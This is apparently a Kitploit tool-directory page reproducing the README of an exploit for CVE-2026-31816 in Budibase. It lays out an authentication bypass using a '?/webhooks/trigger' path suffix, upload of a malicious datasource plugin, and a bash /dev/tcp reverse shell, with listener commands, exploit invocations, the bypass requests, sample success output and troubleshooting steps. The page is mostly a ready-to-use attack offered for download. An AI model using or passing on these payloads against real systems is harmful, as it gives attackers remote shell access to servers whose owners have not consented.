Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31816-rshell — Exploits CVE-2026-31816 in Budibase to bypass authentication, upload a malicious datasource plugin, and execute a reverse shell for remote access. | Kitploit
Tools/GitHubGitHub/imjdl/cve-2026-31816-rshell
ExploitationWeb Application ExploitationAuthenticationRemote Access ToolPayload Development
GitHubimjdl/cve-2026-31816-rshell

CVE-2026-31816-rshell

Exploits CVE-2026-31816 in Budibase to bypass authentication, upload a malicious datasource plugin, and execute a reverse shell for remote access.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31816 Reverse Shell Exploit

Overview

This tool exploits CVE-2026-31816 to establish a reverse shell connection on a target Budibase server.

Attack Chain: Authentication Bypass → Upload DATASOURCE Plugin → Server-side Code Execution → Reverse Shell

Requirements

  • Python 3.6+
  • requests library (pip install requests)
  • Target Budibase server vulnerable to CVE-2026-31816

Usage

Basic Steps

root@kitploit:~
# 1. Start listener on attacker machine
nc -lvnp 4444

# 2. Run exploit (another terminal)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444

Parameters

ParameterRequiredDescription
-t, --target✅Target Budibase URL
--lhost✅Listener host (your IP)
--lport❌Listener port (default: 4444)

Examples

root@kitploit:~
# Attacker IP: 192.168.1.100
# Target Budibase: 192.168.1.128:10000

# Terminal 1 - Start listener
nc -lvnp 4444

# Terminal 2 - Run exploit
python3 CVE-2026-31816-rshell.py \
    -t http://192.168.1.128:10000 \
    --lhost 192.168.1.100 \
    --lport 4444

How It Works

1. Vulnerability Check

root@kitploit:~
GET /api/integrations?/webhooks/trigger

If returns 200, target is vulnerable to authentication bypass.

2. Create Malicious Plugin

root@kitploit:~
{
  "type": "datasource",
  "schema": { ... }
}

DATASOURCE type plugins execute JavaScript code on the server.

3. Reverse Shell Payload

root@kitploit:~
// Executed when plugin is validated:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

4. Upload and Execute

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger

Upload plugin bypassing authentication. Code executes during validation.

Attack Flow

root@kitploit:~
┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│  Attacker   │     │   Target    │     │  Listener   │
│             │     │   Server    │     │   (nc)      │
│             │     │             │     │             │
│ exploit ────┼────►│ Upload      │     │             │
│             │     │ Plugin      │     │             │
│             │     │ Execute     │────►│ Listen      │
│             │     │ Code        │◄────┤ Reverse     │
│             │     │             │     │ Connect     │
└─────────────┘     └─────────────┘     └─────────────┘

Success Indicator

root@kitploit:~
============================================================
CVE-2026-31816 - Reverse Shell Exploit
============================================================
[*] Target: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444

[*] Checking vulnerability...
[+] Target is vulnerable!
[*] Creating reverse shell plugin targeting 192.168.1.100:4444

[*] Uploading reverse shell plugin...
[*] Status: 200
[+] Plugin installed successfully!

============================================================
[+] SUCCESS! Check your listener!
============================================================

Troubleshooting

Q: Connection failed, no shell received

Possible causes:

  1. Firewall blocking reverse connection
  2. Target server cannot reach attacker IP
  3. Target server lacks bash

Solutions:

root@kitploit:~
# Check network connectivity
ping YOUR_IP

# Check firewall
sudo ufw allow 4444/tcp

# Try different port
nc -lvnp 8080

Q: Upload failed

Possible causes:

  1. Target has patched the vulnerability
  2. Network issues

Solutions:

root@kitploit:~
# Manually test if vulnerability exists
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# If returns JSON, vulnerability exists
Download Tool